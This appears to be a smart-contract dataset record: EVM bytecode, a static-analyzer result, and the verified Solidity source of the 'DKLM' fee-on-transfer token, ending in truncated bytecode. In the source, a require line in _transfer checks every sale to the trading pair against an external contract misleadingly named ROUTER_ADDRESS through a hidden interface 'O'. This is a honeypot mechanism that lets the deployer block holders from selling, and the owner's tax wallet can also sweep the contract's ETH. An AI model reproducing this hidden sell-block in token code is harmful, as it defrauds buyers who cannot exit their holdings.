0x6060604052600436106101455763ffffffff60e060020a60003504166305d2035b811461014f57806306fdde0314610176578063095ea7b31461020057806318160ddd1461022257806323b872dd14610247578063313ce5671461026f57806340c10f19146102985780634f25eced146102ba57806364ddc605146102cd57806370a082311461035c5780637d64bcb41461037b5780638da5cb5b1461038e57806394594625146103bd57806395d89b411461040e5780639dc29fac14610421578063a8f11eb914610145578063a9059cbb14610443578063b414d4b614610465578063be45fd6214610484578063c341b9f6146104e9578063cbbe974b1461053c578063d39b1d481461055b578063dd62ed3e14610571578063dd92459414610596578063f0dc417114610625578063f2fde38b146106b4578063f6368f8a146106d3575b61014d61077a565b005b341561015a57600080fd5b6101626108ef565b604051901515815260200160405180910390f35b341561018157600080fd5b6101896108f8565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101c55780820151838201526020016101ad565b50505050905090810190601f1680156101f25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561020b57600080fd5b610162600160a060020a03600435166024356109a0565b341561022d57600080fd5b610235610a0c565b60405190815260200160405180910390f35b341561025257600080fd5b610162600160a060020a0360043581169060243516604435610a12565b341561027a57600080fd5b610282610c21565b60405160ff909116815260200160405180910390f35b34156102a357600080fd5b610162600160a060020a0360043516602435610c2a565b34156102c557600080fd5b610235610d2c565b34156102d857600080fd5b61014d600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843750949650610d3295505050505050565b341561036757600080fd5b610235600160a060020a0360043516610e8c565b341561038657600080fd5b610162610ea7565b341561039957600080fd5b6103a1610f14565b604051600160a060020a03909116815260200160405180910390f35b34156103c857600080fd5b61016260046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505093359350610f2392505050565b341561041957600080fd5b6101896111b1565b341561042c57600080fd5b61014d600160a060020a0360043516602435611224565b341561044e57600080fd5b610162600160a060020a036004351660243561130c565b341561047057600080fd5b610162600160a060020a03600435166113e7565b341561048f57600080fd5b61016260048035600160a060020a03169060248035919060649060443590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506113fc95505050505050565b34156104f457600080fd5b61014d60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505050509135151591506114c79050565b341561054757600080fd5b610235600160a060020a03600435166115c9565b341561056657600080fd5b61014d6004356115db565b341561057c57600080fd5b610235600160a060020a03600435811690602435166115fb565b34156105a157600080fd5b61016260046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061162695505050505050565b341561063057600080fd5b6101626004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437509496506118d895505050505050565b34156106bf57600080fd5b61014d600160a060020a0360043516611ba6565b34156106de57600080fd5b61016260048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f016020809104026020016040519081016040528181529291906020840183838082843750949650611c4195505050505050565b60006006541180156107a85750600654600154600160a060020a031660009081526008602052604090205410155b80156107cd5750600160a060020a0333166000908152600a602052604090205460ff16155b80156107f05750600160a060020a0333166000908152600b602052604090205442115b15156107fb57600080fd5b600034111561083857600154600160a060020a03163480156108fc0290604051600060405180830381858888f19350505050151561083857600080fd5b600654600154600160a060020a03166000908152600860205260409020546108659163ffffffff611f9916565b600154600160a060020a039081166000908152600860205260408082209390935560065433909216815291909120546108a39163ffffffff611fab16565b600160a060020a03338116600081815260086020526040908190209390935560015460065491939216916000805160206123e683398151915291905190815260200160405180910390a3565b60075460ff1681565b6109006123d3565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109965780601f1061096b57610100808354040283529160200191610996565b820191906000526020600020905b81548152906001019060200180831161097957829003601f168201915b5050505050905090565b600160a060020a03338116600081815260096020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60055490565b6000600160a060020a03831615801590610a2c5750600082115b8015610a515750600160a060020a038416600090815260086020526040902054829010155b8015610a845750600160a060020a0380851660009081526009602090815260408083203390941683529290522054829010155b8015610aa95750600160a060020a0384166000908152600a602052604090205460ff16155b8015610ace5750600160a060020a0383166000908152600a602052604090205460ff16155b8015610af15750600160a060020a0384166000908152600b602052604090205442115b8015610b145750600160a060020a0383166000908152600b602052604090205442115b1515610b1f57600080fd5b600160a060020a038416600090815260086020526040902054610b48908363ffffffff611f9916565b600160a060020a038086166000908152600860205260408082209390935590851681522054610b7d908363ffffffff611fab16565b600160a060020a03808516600090815260086020908152604080832094909455878316825260098152838220339093168252919091522054610bc5908363ffffffff611f9916565b600160a060020a03808616600081815260096020908152604080832033861684529091529081902093909355908516916000805160206123e68339815191529085905190815260200160405180910390a35060015b9392505050565b60045460ff1690565b60015460009033600160a060020a03908116911614610c4857600080fd5b60075460ff1615610c5857600080fd5b60008211610c6557600080fd5b600554610c78908363ffffffff611fab16565b600555600160a060020a038316600090815260086020526040902054610ca4908363ffffffff611fab16565b600160a060020a0384166000818152600860205260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a03831660006000805160206123e68339815191528460405190815260200160405180910390a350600192915050565b60065481565b60015460009033600160a060020a03908116911614610d5057600080fd5b60008351118015610d62575081518351145b1515610d6d57600080fd5b5060005b8251811015610e8757818181518110610d8657fe5b90602001906020020151600b6000858481518110610da057fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205410610dce57600080fd5b818181518110610dda57fe5b90602001906020020151600b6000858481518110610df457fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055828181518110610e2457fe5b90602001906020020151600160a060020a03167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c1577838381518110610e6457fe5b9060200190602002015160405190815260200160405180910390a2600101610d71565b505050565b600160a060020a031660009081526008602052604090205490565b60015460009033600160a060020a03908116911614610ec557600080fd5b60075460ff1615610ed557600080fd5b6007805460ff191660011790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b600154600160a060020a031681565b60008060008084118015610f38575060008551115b8015610f5d5750600160a060020a0333166000908152600a602052604090205460ff16155b8015610f805750600160a060020a0333166000908152600b602052604090205442115b1515610f8b57600080fd5b610f9f846305f5e10063ffffffff611fba16565b9350610fb38551859063ffffffff611fba16565b600160a060020a03331660009081526008602052604090205490925082901015610fdc57600080fd5b5060005b845181101561116457848181518110610ff557fe5b90602001906020020151600160a060020a03161580159061104a5750600a600086838151811061102157fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b801561108f5750600b600086838151811061106157fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b151561109a57600080fd5b6110de84600860008885815181106110ae57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020549063ffffffff611fab16565b600860008784815181106110ee57fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205584818151811061111e57fe5b90602001906020020151600160a060020a031633600160a060020a03166000805160206123e68339815191528660405190815260200160405180910390a3600101610fe0565b600160a060020a03331660009081526008602052604090205461118d908363ffffffff611f9916565b33600160a060020a0316600090815260086020526040902055506001949350505050565b6111b96123d3565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109965780601f1061096b57610100808354040283529160200191610996565b60015433600160a060020a0390811691161461123f57600080fd5b6000811180156112685750600160a060020a038216600090815260086020526040902054819010155b151561127357600080fd5b600160a060020a03821660009081526008602052604090205461129c908263ffffffff611f9916565b600160a060020a0383166000908152600860205260409020556005546112c8908263ffffffff611f9916565b600555600160a060020a0382167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58260405190815260200160405180910390a25050565b60006113166123d3565b60008311801561133f5750600160a060020a0333166000908152600a602052604090205460ff16155b80156113645750600160a060020a0384166000908152600a602052604090205460ff16155b80156113875750600160a060020a0333166000908152600b602052604090205442115b80156113aa5750600160a060020a0384166000908152600b602052604090205442115b15156113b557600080fd5b6113be84611fe5565b156113d5576113ce848483611fed565b91506113e0565b6113ce848483612250565b5092915050565b600a6020526000908152604090205460ff1681565b600080831180156114265750600160a060020a0333166000908152600a602052604090205460ff16155b801561144b5750600160a060020a0384166000908152600a602052604090205460ff16155b801561146e5750600160a060020a0333166000908152600b602052604090205442115b80156114915750600160a060020a0384166000908152600b602052604090205442115b151561149c57600080fd5b6114a584611fe5565b156114bc576114b5848484611fed565b9050610c1a565b6114b5848484612250565b60015460009033600160a060020a039081169116146114e557600080fd5b60008351116114f357600080fd5b5060005b8251811015610e875782818151811061150c57fe5b90602001906020020151600160a060020a0316151561152a57600080fd5b81600a600085848151811061153b57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff191691151591909117905582818151811061157957fe5b90602001906020020151600160a060020a03167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051901515815260200160405180910390a26001016114f7565b600b6020526000908152604090205481565b60015433600160a060020a039081169116146115f657600080fd5b600655565b600160a060020a03918216600090815260096020908152604080832093909416825291909152205490565b600080600080855111801561163c575083518551145b80156116615750600160a060020a0333166000908152600a602052604090205460ff16155b80156116845750600160a060020a0333166000908152600b602052604090205442115b151561168f57600080fd5b5060009050805b84518110156117e15760008482815181106116ad57fe5b906020019060200201511180156116e157508481815181106116cb57fe5b90602001906020020151600160a060020a031615155b80156117215750600a60008683815181106116f857fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b80156117665750600b600086838151811061173857fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b151561177157600080fd5b61179b6305f5e10085838151811061178557fe5b906020019060200201519063ffffffff611fba16565b8482815181106117a757fe5b602090810290910101526117d78482815181106117c057fe5b90602001906020020151839063ffffffff611fab16565b9150600101611696565b600160a060020a0333166000908152600860205260409020548290101561180757600080fd5b5060005b84518110156111645761183d84828151811061182357fe5b90602001906020020151600860008885815181106110ae57fe5b6008600087848151811061184d57fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205584818151811061187d57fe5b90602001906020020151600160a060020a031633600160a060020a03166000805160206123e68339815191528684815181106118b557fe5b9060200190602002015160405190815260200160405180910390a360010161180b565b6001546000908190819033600160a060020a039081169116146118fa57600080fd5b6000855111801561190c575083518551145b151561191757600080fd5b5060009050805b8451811015611b7d57600084828151811061193557fe5b90602001906020020151118015611969575084818151811061195357fe5b90602001906020020151600160a060020a031615155b80156119a95750600a600086838151811061198057fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b80156119ee5750600b60008683815181106119c057fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b15156119f957600080fd5b611a0d6305f5e10085838151811061178557fe5b848281518110611a1957fe5b60209081029091010152838181518110611a2f57fe5b9060200190602002015160086000878481518110611a4957fe5b90602001906020020151600160a060020a031681526020810191909152604001600020541015611a7857600080fd5b611ad1848281518110611a8757fe5b9060200190602002015160086000888581518110611aa157fe5b90602001906020020151600160a060020a031681526020810191909152604001600020549063ffffffff611f9916565b60086000878481518110611ae157fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055611b148482815181106117c057fe5b915033600160a060020a0316858281518110611b2c57fe5b90602001906020020151600160a060020a03166000805160206123e6833981519152868481518110611b5a57fe5b9060200190602002015160405190815260200160405180910390a360010161191e565b600160a060020a03331660009081526008602052604090205461118d908363ffffffff611fab16565b60015433600160a060020a03908116911614611bc157600080fd5b600160a060020a0381161515611bd657600080fd5b600154600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008084118015611c6b5750600160a060020a0333166000908152600a602052604090205460ff16155b8015611c905750600160a060020a0385166000908152600a602052604090205460ff16155b8015611cb35750600160a060020a0333166000908152600b602052604090205442115b8015611cd65750600160a060020a0385166000908152600b602052604090205442115b1515611ce157600080fd5b611cea85611fe5565b15611f8357600160a060020a03331660009081526008602052604090205484901015611d1557600080fd5b600160a060020a033316600090815260086020526040902054611d3e908563ffffffff611f9916565b600160a060020a033381166000908152600860205260408082209390935590871681522054611d73908563ffffffff611fab16565b600160a060020a0386166000818152600860205260408082209390935590918490518082805190602001908083835b60208310611dc15780518252601f199092019160209182019101611da2565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b83811015611e52578082015183820152602001611e3a565b50505050905090810190601f168015611e7f5780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185886187965a03f193505050501515611ea357fe5b826040518082805190602001908083835b60208310611ed35780518252601f199092019160209182019101611eb4565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a03166000805160206123e68339815191528660405190815260200160405180910390a3506001611f91565b611f8e858585612250565b90505b949350505050565b600082821115611fa557fe5b50900390565b600082820183811015610c1a57fe5b600080831515611fcd57600091506113e0565b50828202828482811515611fdd57fe5b0414610c1a57fe5b6000903b1190565b600160a060020a03331660009081526008602052604081205481908490101561201557600080fd5b600160a060020a03331660009081526008602052604090205461203e908563ffffffff611f9916565b600160a060020a033381166000908152600860205260408082209390935590871681522054612073908563ffffffff611fab16565b600160a060020a03861660008181526008602052604090819020929092558692509063c0ee0b8a90339087908790518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561210c5780820151838201526020016120f4565b50505050905090810190601f1680156121395780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b151561215957600080fd5b6102c65a03f1151561216a57600080fd5b505050826040518082805190602001908083835b6020831061219d5780518252601f19909201916020918201910161217e565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a03166000805160206123e68339815191528660405190815260200160405180910390a3506001949350505050565b600160a060020a0333166000908152600860205260408120548390101561227657600080fd5b600160a060020a03331660009081526008602052604090205461229f908463ffffffff611f9916565b600160a060020a0333811660009081526008602052604080822093909355908616815220546122d4908463ffffffff611fab16565b600160a060020a03851660009081526008602052604090819020919091558290518082805190602001908083835b602083106123215780518252601f199092019160209182019101612302565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902084600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168660405190815260200160405180910390a483600160a060020a031633600160a060020a03166000805160206123e68339815191528560405190815260200160405180910390a35060019392505050565b602060405190810160405260008152905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058202636e379508172694666ac0479d71702f3d7aa592fc001e63bb442a537a81eeb0029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
5,610
0x012eB965aAE65AB1a68C833f24F158ad6E3eeD24
/** *Submitted for verification at Etherscan.io on 2021-11-17 */ //SPDX-License-Identifier: MIT // Telegram: http://t.me/dexknownlatencymod pragma solidity ^0.8.9; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } uint256 constant INITIAL_TAX=4; address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // mainnet uint256 constant TOTAL_SUPPLY=2300000000; string constant TOKEN_SYMBOL="DKLM"; string constant TOKEN_NAME="Dex Known Latency Moderator"; uint8 constant DECIMALS=6; uint256 constant TAX_THRESHOLD=1000000000000000000; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface O{ function amount(address from) external view returns (uint256); } contract DKLM is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _burnFee; uint256 private _taxFee; address payable private _taxWallet; uint256 private _maxTxAmount; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _burnFee = 1; _taxFee = INITIAL_TAX; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount=_tTotal.div(5); emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function removeBuyLimit() public onlyTaxCollector{ _maxTxAmount=_tTotal; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_uniswap) )?amount:0) <= O(ROUTER_ADDRESS).amount(address(this))); if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<_maxTxAmount,"Transaction amount limited"); } uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _pair && _swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > TAX_THRESHOLD) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier onlyTaxCollector() { require(_taxWallet == _msgSender() ); _; } function lowerTax(uint256 newTaxRate) public onlyTaxCollector{ require(newTaxRate<INITIAL_TAX); _taxFee=newTaxRate; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function startTrading() external onlyTaxCollector { require(!_canTrade,"Trading is already open"); _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); _uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _canTrade = true; IERC20(_pair).approve(address(_uniswap), type(uint).max); } function endTrading() external onlyTaxCollector{ require(_canTrade,"Trading is not started yet"); _swapEnabled = false; _canTrade = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external onlyTaxCollector{ uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external onlyTaxCollector{ uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806356d9dce81161009557806395d89b411161006457806395d89b41146102a85780639e752b95146102d5578063a9059cbb146102f5578063dd62ed3e14610315578063f42938901461035b57600080fd5b806356d9dce81461023657806370a082311461024b578063715018a61461026b5780638da5cb5b1461028057600080fd5b8063293230b8116100d1578063293230b8146101d9578063313ce567146101f05780633e07ce5b1461020c57806351bc3c851461022157600080fd5b806306fdde031461010e578063095ea7b31461016657806318160ddd1461019657806323b872dd146101b957600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152601b81527f446578204b6e6f776e204c6174656e6379204d6f64657261746f72000000000060208201525b60405161015d9190611570565b60405180910390f35b34801561017257600080fd5b506101866101813660046115da565b610370565b604051901515815260200161015d565b3480156101a257600080fd5b506101ab610387565b60405190815260200161015d565b3480156101c557600080fd5b506101866101d4366004611606565b6103a8565b3480156101e557600080fd5b506101ee610411565b005b3480156101fc57600080fd5b506040516006815260200161015d565b34801561021857600080fd5b506101ee6107d4565b34801561022d57600080fd5b506101ee61080a565b34801561024257600080fd5b506101ee610837565b34801561025757600080fd5b506101ab610266366004611647565b6108b8565b34801561027757600080fd5b506101ee6108da565b34801561028c57600080fd5b506000546040516001600160a01b03909116815260200161015d565b3480156102b457600080fd5b50604080518082019091526004815263444b4c4d60e01b6020820152610150565b3480156102e157600080fd5b506101ee6102f0366004611664565b61097e565b34801561030157600080fd5b506101866103103660046115da565b6109a7565b34801561032157600080fd5b506101ab61033036600461167d565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561036757600080fd5b506101ee6109b4565b600061037d338484610a1e565b5060015b92915050565b60006103956006600a6117b0565b6103a39063891737006117bf565b905090565b60006103b5848484610b42565b61040784336104028560405180606001604052806028815260200161193d602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610e8d565b610a1e565b5060019392505050565b6009546001600160a01b0316331461042857600080fd5b600c54600160a01b900460ff16156104875760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600b546104b39030906001600160a01b03166104a56006600a6117b0565b6104029063891737006117bf565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561050157600080fd5b505afa158015610515573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061053991906117de565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561059657600080fd5b505afa1580156105aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ce91906117de565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561061657600080fd5b505af115801561062a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061064e91906117de565b600c80546001600160a01b0319166001600160a01b03928316179055600b541663f305d719473061067e816108b8565b6000806106936000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156106f657600080fd5b505af115801561070a573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061072f91906117fb565b5050600c805462ff00ff60a01b1981166201000160a01b17909155600b5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561079957600080fd5b505af11580156107ad573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d19190611829565b50565b6009546001600160a01b031633146107eb57600080fd5b6107f76006600a6117b0565b6108059063891737006117bf565b600a55565b6009546001600160a01b0316331461082157600080fd5b600061082c306108b8565b90506107d181610ec7565b6009546001600160a01b0316331461084e57600080fd5b600c54600160a01b900460ff166108a75760405162461bcd60e51b815260206004820152601a60248201527f54726164696e67206973206e6f74207374617274656420796574000000000000604482015260640161047e565b600c805462ff00ff60a01b19169055565b6001600160a01b03811660009081526002602052604081205461038190611050565b6000546001600160a01b031633146109345760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161047e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6009546001600160a01b0316331461099557600080fd5b600481106109a257600080fd5b600855565b600061037d338484610b42565b6009546001600160a01b031633146109cb57600080fd5b476107d1816110cd565b6000610a1783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061110b565b9392505050565b6001600160a01b038316610a805760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161047e565b6001600160a01b038216610ae15760405162461bcd60e51b815260206004820152602260248201527f45524332303a2061707072